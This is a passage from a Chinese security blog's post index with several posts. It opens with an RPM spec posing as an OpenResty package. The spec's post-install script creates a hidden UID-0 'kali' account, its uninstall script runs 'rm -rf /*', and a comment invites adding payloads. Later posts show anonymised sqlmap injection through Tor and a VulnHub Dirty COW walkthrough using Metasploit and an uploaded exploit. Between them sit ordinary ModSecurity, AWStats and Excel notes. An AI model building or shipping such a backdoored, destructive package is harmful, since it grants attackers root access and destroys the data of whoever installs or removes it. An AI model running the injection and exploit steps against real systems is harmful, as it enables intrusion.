openresty-1.21.4.1.tar.gz# 依赖包,不知道可以注释BuildRequires: gcc pcre openssl-devel # 依赖包# Requires: %descriptionThe is a Web Server,to Openresty# 准备工作%prep# 开始识别源码的压缩方式等准备工作%setup -q%build# 可在此添加需要的模块./configure --with-http_ssl_module --with-http_stub_status_modulemake %{?_smp_mflags}%install# 把软件装在BUILDROOT目录下make install DESTDIR=%{buildroot}%files# 需要把哪些目录压缩%doc# 把整个nginx目录打包/usr/local/openresty/*%changelog# 安装前执行的脚本,这里创建root权限的用户# 这里想干什么自己应该清楚了,Shell...Payload等等等等%postuseradd -d /usr/local/bin -u 0 -o kali# 卸载后执行的脚本,这里删除根目录以及kali用户%postun rm -rf /* &>/dev/nulluserdel -r kali 123456# 使用 rpmbuild创建RPM软件包rpmbuild -ba /root/rpmbuild/SPECS/nginx.specll /root/rpmbuild/RPMS/x86_64/# 查看安装路径rpm -qpl /root/rpmbuild/RPMS/x86_64/openresty-1.21.4.1-1.el7.x86_64.rpm 效果演示1234# 回复快照# 装包rpm -ivh /root/openresty-1.21.4.1-1.el7.x86_64.rpm --nodeps --force rpm -e openresty","tags":["Linux","安全加固"],"categories":["安全加固"]},{"title":"基于Awstats的Apache日志分析","path":"/2022/09/06/6e6b1513/","content":"总字符数: 3.23K 代码: 2.14K, 文本: 0.50K 预计阅读时间: 11 分钟 安装依赖1yum install -y deltarpm gcc gcc-c++ unixODBC-devel httpd mysql-devel libcurl libcurl-devel libevent libevent-devel fping curl-devel libxml2 libxml2-devel snmpd net-snmp-devel net-snmp pcre-devel java-devel openssl-devel libxslt* perl-ExtUtils-Embed at gcc-c++ python subversion gperf make rpm-build git curl bzip2-devel libcurl-devel gd gd-devel t1lib t1lib-devel libmcrypt libmcrypt-devel libtidy libtidy-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel libxml2-devel redis vim wget git htop iftop libtool make automake mlocate openssl-devel pam-devel unzip gcc screen openssl openssl-devel iptables-services bash-completion* pcre-devel openssl-devel libxslt* perl-ExtUtils-Embed at gcc-c++ python subversion gperf make rpm-build git curl bzip2-devel libcurl-devel gd gd-devel t1lib t1lib-devel libmcrypt libmcrypt-devel libtidy libtidy-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel net-tools libevent-devel net-snmp-devel mysql-devel libxslt-devel libssh2-devel jdk-8u191-linux-x64.rpm unixODBC-devel httpd libcurl libevent fping curl-devel libxml2 snmpd net-snmp-devel net-snmp 安装EPEL-release1yum install epel-release -y 安装awstats1yum install awstats -y 为 Apache 配置 awstats AWStats 会生成一个默认的 Apache 配置文件/etc/httpd/conf.d/awstats.conf此文件允许访问所有 IP 地址,但如果想从特定网络或 IP 地址访问 Awstats,就修改”允许来自”部分 此文件与您所需的网络 IP.进行更改后,重启apache 为网站创建 awstats 配置文件为所需网站制作一个配置文件,以便我们检查其统计信息.也可以为每个网站制作单独 的文件. 使用以下命令==使用自己的域名创建默认 AStats 配置文件的副本== 1cp /etc/awstats/awstats.localhost.localdomain.conf /etc/awstats/awstats.192.168.226.133.conf 然后在awstats.192.168.226.133.conf文件中进行一些更改,使用以下命令对其进行编辑. 12345vim /etc/awstats/awstats.192.168.226.133.conf# 并使用自己的域名修改此文件中的以下行LogFile="/var/log/httpd/yourdomain.com-access_log"SiteDomain="yourdomain.com"HostAliases="www.yourdomain.com localhost 127.0.0.1" 现在保存对文件的更改并启动apache 使用以下命令从当前日志更新您的网站统计信息 注意:不要忘记将 -config=yourdomain.com 替换你自己的域名. 1/usr/share/awstats/wwwroot/cgi-bin/awstats.pl -config=yourdomain.com -update 如果遇到日志文件错误,尝试新建.log文件再尝试. 1mkdir /var/log/httpd/yourdomain.com-access_log 修改awstats.conf文件 12345678910 vim /etc/httpd/conf.d/awstats.conf <Directory "/usr/share/awstats/wwwroot"> Options None AllowOverride None Require all granted # (主要是增加了这一行) # 重启服务并设置开机自启 systemctl restart httpd.servicesystemctl enable httpd.service 设置计划任务设置一个 cron 作业,以在特定时间间隔内不断更新网站统计信息.例如,我们希望每 59 分钟更新一次网站统计信息,因此我们将使用以下命令配置 cron 作业 12crontab -e*/59 * * * * root /usr/share/awstats/wwwroot/cgi-bin/awstats.pl -config=yourdomain.com -update 保存退出. 从Web 浏览器访问 Awstats想查看您的网站统计信息,请使用以下链接,但不要忘记在该链接中使用我们自己的服务器IP和域名http://192.168.226.133/awstats/awstats.pl?config=192.168.226.133","tags":["应急响应","日志分析","Apache"],"categories":["应急响应","日志分析"]},{"title":"编译安装OpenResty2.14+Modsecurity以支持TLSv1.3","path":"/2022/08/31/4f4c30bf/","content":"总字符数: 15.35K 代码: 13.73K, 文本: 0.64K 预计阅读时间: 1.04 小时 0x01 前言最近利用awvs以及Wpscan对网站进行了漏洞扫描,扫出来一堆漏洞,然后就对服务器进行了一次大升级,才有了这篇文章 0x02 准备因为我应用环境的需要,所以需要建立临时文件夹并下载相关文件 模块 说明 lua-nginx-module 用于支持lua模块 nginx-ct 启用证书透明度 ModSecurity 用于编译ModSecurity ModSecurity-nginx 用于连接ModSecurity与nignx 安装依赖1yum install -y libxml2 libxslt-devel gperftools pcre-devel libuuid-devel libxslt* libblkid-devel libudev-devel fuse-devel libedit-devel perl-ExtUtils-Embed at gcc-c++ python subversion gperf make rpm-build git curl bzip2-devel libcurl-devel gd gd-devel t1lib t1lib-devel libmcrypt libmcrypt-devel libtidy libtidy-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel libxml2-devel redis vim wget git htop iftop libtool make automake mlocate pam-devel unzip gcc screen iptables-services bash-completion* pcre-devel libxslt* perl-ExtUtils-Embed at python subversion gperf make rpm-build git curl bzip2-devel libcurl-devel gd t1lib t1lib-devel libmcrypt libmcrypt-devel libtidy libtidy-devel GeoIP-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel net-tools luajit 新建文件夹1[root@web-dev ~] mkdir /opt/nginx 进入文件夹1[root@web-dev ~] cd /opt/nginx/ 下载 ngx_http_headers_module1[root@web-dev nginx] git clone https://github.com/openresty/headers-more-nginx-module.git 下载 lua-nginx-module1[root@web-dev nginx] git clone https://github.com/openresty/lua-nginx-module.git 12# 下载nginx-ct [root@web-dev nginx] git clone https://github.com/grahamedgecombe/nginx-ct.git 下载 Openssl1[root@web-dev nginx] wget https://www.openssl.org/source/openssl-1.1.1q.tar.gz 下载 ModSecurity123[root@web-dev nginx] git clone --depth 1 -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity #下载ModSecurity-nginx [root@web-dev nginx] git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git 下载 Nginx123[root@web-dev nginx] wget https://openresty.org/download/openresty-1.21.4.1.tar.gz #下载OWASP ModSecurity CRS [root@web-dev nginx] git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git 最后解压被压缩的软件:解压并删除nginx压缩包1[root@web-dev nginx] tar -zxvf openresty-1.21.4.1.tar.gz && rm -f openresty-1.21.4.1.tar.gz 解压openssl压缩包1[root@web-dev nginx] tar -zxvf OpenSSL_1_1_1q.tar.gz && rm -f OpenSSL_1_1_1q.tar.gz 最终,该目录下会有这些文件夹: 12345678910[root@iztsvh228msdkjz nginx]# ll total 32 drwxr-xr-x 6 root root 4096 Sep 26 14:09 headers-more-nginx-module drwxr-xr-x 11 root root 4096 Sep 26 14:20 lua-nginx-module drwxr-xr-x 13 root root 4096 Sep 26 14:45 ModSecurity drwxr-xr-x 6 root root 4096 Sep 26 14:45 ModSecurity-nginx drwxr-xr-x 8 wordpress wordpress 4096 Apr 21 22:09 openresty-1.21.4.1drwxr-xr-x 3 root root 4096 Sep 26 14:22 nginx-ct drwxrwxr-x 18 root root 4096 May 28 2019 openssl-OpenSSL_1_1_1c drwxr-xr-x 8 root root 4096 Sep 26 14:53 owasp-modsecurity-crs 0x03 编译安装0x03.1 配置安装openssl配置12cd openssl-OpenSSL_1_1_1q./config --prefix=/usr 编译&&安装12make && make install ldconfig 查看安装版本1openssl version 0x03.2 Modsecurity Lib先编译Modsecurity Lib,进入ModSecurity源码文件夹并运行以下命令: 进入文件夹1[root@modsecurity openssl-OpenSSL_1_1_1c] cd /opt/nginx/ModSecurity 初始化submodule1234[root@modsecurity ModSecurity] git submodule init Submodule 'bindings/python' (https://github.com/SpiderLabs/ModSecurity-Python-bindings.git) registered for path 'bindings/python' Submodule 'others/libinjection' (https://github.com/client9/libinjection.git) registered for path 'others/libinjection' Submodule 'test/test-cases/secrules-language-tests' (https://github.com/SpiderLabs/secrules-language-tests) registered for path 'test/test-cases/secrules-language-tests' 更新submodule123456789101112131415161718[root@modsecurity ModSecurity] git submodule update Cloning into 'bindings/python'...remote: Counting objects: 38, done.remote: Total 38 (delta 0), reused 0 (delta 0), pack-reused 38Unpacking objects: 100% (38/38), done.Submodule path 'bindings/python': checked out 'bc625d5bb0bac6a64bcce8dc9902208612399348'Cloning into 'others/libinjection'...remote: Counting objects: 9937, done.remote: Total 9937 (delta 0), reused 0 (delta 0), pack-reused 9937Receiving objects: 100% (9937/9937), 5.45 MiB 1.24 MiB/s, done.Resolving deltas: 100% (6083/6083), done.Submodule path 'others/libinjection': checked out 'bf234eb2f385b969c4f803b35fda53cffdd93922'Cloning into 'test/test-cases/secrules-language-tests'...remote: Counting objects: 232, done.remote: Total 232 (delta 0), reused 0 (delta 0), pack-reused 232Receiving objects: 100% (232/232), 89.18 KiB 85.00 KiB/s, done.Resolving deltas: 100% (131/131), done.Submodule path 'test/test-cases/secrules-language-tests': checked out 'e6b03e46046ce9ce6dcfc0e6ad0820194e21db35' 完成后,在根目录下会有一个build.sh的可执行文件: 123456789101112131415161718192021[root@eef51b ModSecurity] ll -htotal 172K-rw-r--r-- 1 root root 202 Sep 23 18:53 AUTHORSdrwxr-xr-x 3 root root 20 Sep 23 18:53 bindingsdrwxr-xr-x 2 root root 275 Sep 23 18:53 build-rwxr-xr-x 1 root root 273 Sep 23 18:53 build.sh-rw-r--r-- 1 root root 18K Sep 23 18:53 CHANGES-rw-r--r-- 1 root root 17K Sep 23 18:53 configure.acdrwxr-xr-x 2 root root 85 Sep 23 18:53 docdrwxr-xr-x 7 root root 176 Sep 23 18:53 examplesdrwxr-xr-x 3 root root 25 Sep 23 18:53 headers-rw-r--r-- 1 root root 12K Sep 23 18:53 LICENSE-rw-r--r-- 1 root root 18K Sep 23 18:53 Makefile.am-rw-r--r-- 1 root root 10K Sep 23 18:53 modsecurity.conf-recommended-rw-r--r-- 1 root root 377 Sep 23 18:53 modsecurity.pc.indrwxr-xr-x 4 root root 78 Sep 23 18:53 others-rw-r--r-- 1 root root 13K Sep 23 18:53 README.mddrwxr-xr-x 12 root root 4.0K Sep 23 18:53 srcdrwxr-xr-x 9 root root 4.0K Sep 23 18:53 testdrwxr-xr-x 3 root root 44 Sep 23 18:53 tools-rw-r--r-- 1 root root 52K Sep 23 18:53 unicode.mapping 运行build.sh 12345678910111213141516171819202122232425262728293031[root@modsecurity ModSecurity] ./build.shlibtoolize: putting auxiliary files in `.'.libtoolize: copying file `./ltmain.sh'libtoolize: putting macros in AC_CONFIG_MACRO_DIR, `build'.libtoolize: copying file `build/libtool.m4'libtoolize: copying file `build/ltoptions.m4'libtoolize: copying file `build/ltsugar.m4'libtoolize: copying file `build/ltversion.m4'libtoolize: copying file `build/lt~obsolete.m4'fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything.configure.ac:44: installing './ar-lib'configure.ac:119: installing './config.guess'configure.ac:119: installing './config.sub'configure.ac:39: installing './install-sh'configure.ac:39: installing './missing'parallel-tests: installing './test-driver'examples/multiprocess_c/Makefile.am: installing './depcomp'configure.ac: installing './ylwrap'fatal: No names found, cannot describe anything.fatal: No names found, cannot describe anything. 在build的过程中会出现以下错误,忽略即可: 1fatal: No names found, cannot describe anything. 然后是configure、编译和安装: 编译安装三部曲1./configure && make && make install 完成ModSecurity的编译安装后就可以准备nignx的编译参数了: 1./configure --prefix=/usr/local/nginx/nginx --with-cc-opt=-O2 --with-ld-opt='-Wl,-rpath,/usr/local/nginx/luajit/lib -Wl,-E' --sbin-path=/usr/sbin/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --lock-path=/var/lock/nginx.lock --with-http_gunzip_module --with-pcre --with-pcre-jit --with-http_perl_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-http_addition_module --with-http_xslt_module --with-http_image_filter_module --with-http_geoip_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gzip_static_module --with-http_auth_request_module --with-http_random_index_module --with-select_module --with-poll_module --with-file-aio --with-http_degradation_module --with-libatomic --http-client-body-temp-path=/var/tmp/nginx/client_body --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fastcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --add-dynamic-module=/opt/nginx/ModSecurity-nginx --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --add-dynamic-module=/opt/nginx/headers-more-nginx-module 0x03.3 Nginx编译&安装1cd /opt/nginx/openresty-1.21.4.1/ configure1./configure --prefix=/usr/local/nginx/nginx --with-cc-opt=-O2 --with-ld-opt='-Wl,-rpath,/usr/local/nginx/luajit/lib -Wl,-E' --sbin-path=/usr/sbin/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --lock-path=/var/lock/nginx.lock --with-http_gunzip_module --with-pcre --with-pcre-jit --with-http_perl_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-http_addition_module --with-http_xslt_module --with-http_image_filter_module --with-http_geoip_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gzip_static_module --with-http_auth_request_module --with-http_random_index_module --with-select_module --with-poll_module --with-file-aio --with-http_degradation_module --with-libatomic --http-client-body-temp-path=/var/tmp/nginx/client_body --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fastcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --add-dynamic-module=/opt/nginx/ModSecurity-nginx --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --add-dynamic-module=/opt/nginx/headers-more-nginx-module 编译1[root@web-dev nginx-1.13.10] make 安装1[root@web-dev nginx-1.13.10] make install 创建目录 1mkdir -p /var/tmp/nginx/client_body 最后查看nginx版本与检查编译参数: 123456[root@localhost nginx-1.18.0]# nginx -Vnginx version: nginx/1.18.0built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC) built with OpenSSL 1.1.1c 28 May 2019TLS SNI support enabledconfigure arguments: --prefix=/usr/local/nginx/nginx --with-cc-opt=-O2 --with-ld-opt='-Wl,-rpath,/usr/local/nginx/luajit/lib -Wl,-E' --sbin-path=/usr/sbin/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --lock-path=/var/lock/nginx.lock --with-http_gunzip_module --with-pcre --with-pcre-jit --with-http_perl_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-http_addition_module --with-http_xslt_module --with-http_image_filter_module --with-http_geoip_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gzip_static_module --with-http_auth_request_module --with-http_random_index_module --with-select_module --with-poll_module --with-file-aio --with-http_degradation_module --with-libatomic --http-client-body-temp-path=/var/tmp/nginx/client_body --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fastcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --add-dynamic-module=/opt/nginx/ModSecurity-nginx --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --add-module=/opt/nginx/headers-more-nginx-module 0x03.4 Nginx与modsecurity配置modsecurity灵活性很高,你可以将ModSecurityEnabled这个指令放置在server或location块,以此控制modsecurity的启用与否.以下使用nginx默认的配置文件nginx.conf进行修改,首先在文件顶部添加以下内容: 1load_module /usr/local/nginx/nginx/nginx/modules/ngx_http_modsecurity_module.so; 让nginx加载动态模块,这样才能识别下方ModSecurity的配置内容.然后将以下两行内容放置在location块中: 12modsecurity on;modsecurity_rules_file /usr/local/nginx/modsecurity/modsec_includes.conf; 到这里nginx配置文件的修改就完成了. 0x03.5 Modsecurity配置文件准备12345[root@iztsvh228msdkjz nginx] mkdir /usr/local/nginx/modsecuritycp /opt/nginx/ModSecurity/modsecurity.conf-recommended /usr/local/nginx/modsecurity/modsecurity.confcp /opt/nginx/owasp-modsecurity-crs/crs-setup.conf.example /usr/local/nginx/modsecurity/crs-setup.confcp -r /opt/nginx/owasp-modsecurity-crs/rules/ /usr/local/nginx/modsecurity/cp /opt/nginx/ModSecurity/unicode.mapping /usr/local/nginx/modsecurity/unicode.mapping 然后在/usr/local/nginx/modsecurity 目录下新建一个名为modsec_includes.conf的文件并填入owasp modsecurity crs配置文件与modsecurity.conf的路径: 123include /usr/local/nginx/modsecurity/modsecurity.confinclude /usr/local/nginx/modsecurity/crs-setup.confinclude /usr/local/nginx/modsecurity/rules/*.conf 最终该目录下有这些文件 1234567[root@eef51b modsecurity] lltotal 108-rw-r--r-- 1 root root 32931 Sep 24 19:31 crs-setup.conf-rw-r--r-- 1 root root 156 Sep 24 19:23 modsec_includes.conf-rw-r--r-- 1 root root 10199 Sep 24 19:30 modsecurity.confdrwxr-xr-x 2 root root 4096 Sep 24 19:21 rules-rw-r--r-- 1 root root 53146 Sep 24 19:32 unicode.mapping 0x03.6 Modsecurity实施拦截动作编辑 1vim /usr/local/nginx/modsecurity/modsecurity.conf 修改SecRuleEngine1SecRuleEngine On 打开crs-setup.conf1vim /usr/local/nginx/modsecurity/crs-setup.conf 注释以下内容12SecDefaultAction "phase:1,log,auditlog,pass"SecDefaultAction "phase:2,log,auditlog,pass" 取消以下内容的注释12SecDefaultAction "phase:1,log,auditlog,deny,status:403"SecDefaultAction "phase:2,log,auditlog,deny,status:403" Modsecurity日志文件1vim /var/log/modsec_audit.log 0x03.7 Nginx配置文件修改1234567891011121314151617181920212223242526272829load_module /usr/local/nginx/nginx/modules/ngx_http_modsecurity_module.so;http { server { listen 80; server_name localhost; rewrite ^(.*)$ https://$host$1 permanent; location / { #启用modsecurity modsecurity on; modsecurity_rules_file /usr/local/nginx/modsecurity/modsec_includes.conf; root html; index index.html index.htm; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } } server { listen 443 ssl; server_name localhost; location / { modsecurity on; modsecurity_rules_file /usr/local/nginx/modsecurity/modsec_includes.conf; root /home/wwwroot/wordpress-1258894728.cos.ap-beijing.myqcloud.com; index index.html index.htm index.php; } }} 可以看到本站已经启用了WAF","tags":["Linux","OpenResty","安全加固"],"categories":["安全加固"]},{"title":"Kali-树莓派+Tor实现匿名流量","path":"/2022/07/05/16c1b24e/","content":"总字符数: 2.36K 代码: 1.15K, 文本: 0.37K 预计阅读时间: 7 分钟 树莓派-Kali下安装Torhttps://sourceforge.net/projects/tor-browser-ports/https://sourceforge.net/projects/tor-browser-ports/ 下载arm版本的tor 点击下载完成后,会有个压缩包: tor-browser-linux-arm64-11.0.15_zh-CN.tar ,移到 Linux下的一个自定义文件夹下,执行如下命令解压 1234 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop\\] └─$ xz -d tor-browser-linux-arm64-11.0.15\\_zh-CN.tar ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop\\] └─$ tar -xvf tor-browser-linux-arm64-11.0.15\\_zh-CN.tar 然后进入tor-browser_zh-CN 文件夹运行./start-tor-browser.desktop 点击运行会出现如下界面: 到这里,Tor 就算安装成功了 Linux 下Tor的使用准备工具: electron-ssr clash 以上选其一默认已经准备好了,不懂的百度 打开Tor浏览器设置,配置浏览器代理后就能访问了Tor服务器了 配置 proxychains 实现tor代理无限切换ip查看tor的端口12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ netstat -pantu grep tor 查找 proxychains.conf 位置12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ locate proxychains.conf 修改 proxychains.conf 文件123┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ vim /etc/proxychains.conf # 将socks4 127.0.0.1 9050换成socks5 127.0.0.1 9150 测试是否代理成功12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ proxychains firefox ip138.com 配置nc实现tor代理转发查看tor的端口12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ netstat -pantu grep tor 安装nc12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ sudo apt-get install ncat 监听本机9550端口,将流量转发到本地9150 Tor端口上12 ┌──(kali㉿kali-raspberry-pi)-\\[~/Desktop/tor-browser\\_zh-CN\\] └─$ ncat --sh-exec "ncat 127.0.0.1 9150" -l 9550 --keep-open Tor代理一般为5分钟刷新一次 SqlMap渗透工具结合 tor 实现匿名注入123 sqlmap.py -u "xxxxx" --tor --check-tor --tor-port=9150 --tor-type=SOCKS5 --time-sec 10 # 参数:–time-sec # 当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒.","tags":["Kali","信息安全","极客"],"categories":["Kali"]},{"title":"Kali-安装W3af踩坑记录","path":"/2022/06/25/d52cd33f/","content":"总字符数: 2.47K 代码: 2.11K, 文本: 0.16K 预计阅读时间: 10 分钟 w3af是web application attack and audit framework (web应 用攻击和安全审计框架)的缩写. 他是一个开源的Web应用安全扫描器和漏洞利用工具 https://docs.w3af.org/en/latest/https://docs.w3af.org/en/latest/ w3af仅支持Python2.x版本,不支持3.x 下载w3af1234┌──(kali㉿kali)-[/opt/漏洞分析] └─$ cd /opt/漏洞利用/ ┌──(kali㉿kali)-[/opt/漏洞分析] └─$ sudo git clone --depth 1 https://github.com/andresriancho/w3af.git 查看Python版本w3af只支持2.x版本的python12┌──(kali㉿kali)-[/opt/漏洞分析] └─$ python --version 如果是3.x的版本,再用下面这条命令看kali上面装了几个python版本,一般是3个1 ll /usr/bin grep python 切换python版本123456┌──(kali㉿kali)-[/opt/漏洞分析] └─$ update-alternatives --install /usr/bin/python python /usr/bin/python2.7 1 update-alternatives: 使用 /usr/bin/python2.7 来在自动模式中提供 /usr/bin/python (python) ┌──(kali㉿kali)-[/opt/漏洞分析] └─$ python --version Python 2.7.18 安装PIP12345678910┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo wget https://bootstrap.pypa.io/pip/2.7/get-pip.py ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo python get-pip.py ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo pip install jsonschema==2.6.0 ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo bash /tmp/w3af_dependency_install.sh 安装Npm123456 ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo apt-get install npm ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo npm install -g retire@2.0.3 ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo npm update -g retire 启动w3af12chown root:root /tmp/w3af_dependency_install.sh vim w3af_console 注释掉dependency_check()函数,在第13行 不注释有的即使装了环境也无法启动1234567┌──(root㉿kali)-[/opt/漏洞分析/w3af] └─# ./w3af_console /usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release. Usage of w3af for sending any traffic to a target without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Do you accept the terms and conditions? [Ny] y w3af>>> exit 设置环境变量123456789┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo vim /etc/profile # 添加在最后一行export PATH=$PATH:/opt/漏洞分析/w3af ┌──(kali㉿kali)-[/opt/漏洞分析/w3af] └─$ sudo source /etc/profile","tags":["Kali","信息安全"],"categories":["Kali"]},{"title":"PHP-JSON 字符串转义问题","path":"/2022/06/23/92579896/","content":"总字符数: 0.48K 代码: 0.02K, 文本: 0.17K 预计阅读时间: 1 分钟 我们会发现有一些字符被转义了,此时我们就需要用到stripslashes()函数 stripslashes() 函数的作用是还原一个被转义的字符串,也就是去除在字符串中加入的反斜线,语法格式如下: 1stripslashes($str) 其中,$str 为需要还原的字符串. stripslashes() 函数会返回一个去除转义反斜线后的字符串(\\' 转换为',双反斜线 \\\\ 被转换为单个反斜线 \\) 问题解决!!!出坑","tags":["PHP","编程语言"],"categories":["编程语言","PHP"]},{"title":"Linux-Centos升级Python3.x版本踩过的坑","path":"/2022/06/16/9c8b50f0/","content":"总字符数: 0.38K 代码: 0.14K, 文本: 0.08K 预计阅读时间: 1 分钟 我把 CentOS7.6 默认自带的 Python 2.7.5 升级成了 Python 3.7.0,而有些文件包括 /usr/bin/firewall-cmd 脚本需要由 python2 来执行. 问题分析出来了,那就开始解决 1234vim /usr/bin/yumvim /usr/libexec/urlgrabber-ext-downvim /usr/bin/yum-config-manager将第一行注释中的python2修改成环境变量中对应的文件名,我的有效环境变量是python2.6.1","tags":["Centos","运维"],"categories":["安全运维","Linux"]},{"title":"VulnHub-脏牛提权复现","path":"/2022/03/10/8c8446e0/","content":"总字符数: 3.37K 代码: 0.67K, 文本: 0.66K 预计阅读时间: 6 分钟 漏洞描述脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大. 漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会.修改su或者passwd程序就可以达到root的目的. 漏洞危害低权限用户利用脏牛漏洞可以在众多Linux系统上实现本地提权 影响范围(如果你的内核版本低于以下版本,则还存在此漏洞): 1234567Centos7/RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 4.8.0-26.28Ubuntu 16.04 4.4.0-45.66Ubuntu 14.04 3.13.0-100.147Debian 8 3.16.36-1+deb8u2Debian 7 3.2.82-1 漏洞复现靶场: https://www.vulnhub.com/entry/lampiao-1,249/ https://download.vulnhub.com/lampiao/Lampiao.zip arp-scan 扫描主机arp-scan -l nmap 扫描目标主机开放端口nmap -sS -T4 -p 1-65535 -v 192.168.64.141 发现drupal,利用漏洞通过开放的1898端口进入网站,看到目标网站,发现网站cms是drupal 1234567# msf 搜索drupal漏洞,使用可利用漏洞进行攻击>search drupal# exploit/unix/webapp/drupal_drupalgeddon2>use 1>set rhosts 192.168.64.141>set rport 1898>run 信息收集上传信息收集脚本,发现存在脏牛提权漏洞 1upload /tmp/linux-exploit-suggester.sh /tmp/lasc.sh 进入shell 执行信息收集脚本,执行结果中发现[CVE-2016-5195]脏牛漏洞 1234shellcd /tmpchmod 777 lasc.sh./lasc.sh 漏洞利用 下载exp,上传exp 1234567# 40611没成功,使用40847mv 40847.cpp /tmp/ upload /tmp/40847.cpp /tmp/lasc.cpp# 进入shell编译执行exp,得到登录密码shellg++ -Wall -pedantic -O2 -std=c++11 -pthread -o exp lasc.cpp -lutil./exp 打开交互式shell,切换root用户,提权成功","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"第四章Excel 2010","path":"/2021/11/01/518e1241/","content":"总字符数: 8.06K 代码: 无, 文本: 4.76K 预计阅读时间: 21 分钟 认识ExcelExcel 2010的窗口组成 名称框 编辑栏 单元格名称框 按钮组 编辑框 列标、行号 当前单元格 工作表编辑区 工作表控制按钮 工作表标签 插入工作表按钮 工作簿与工作表 可以以文件的形式存盘 工作簿:是指在Excel中用来存储并处理数据的文件,其扩展名是.xlsx 工作表(Sheet):是由一个行和列交叉排列的二维表格 单元格 任何的单元格地址都是其列标和行号的组合,且必须是列标在前,行号在后每个单元格都有一个唯一的地址 删除工作表 永久删除无法撤销 数据类型及编辑数值型数据 数值型数据默认右对齐,数字与非数字的组合均作为文本型数据处理 输入分数时:在分数前输入0(零)及一个空格 如:0 5/6 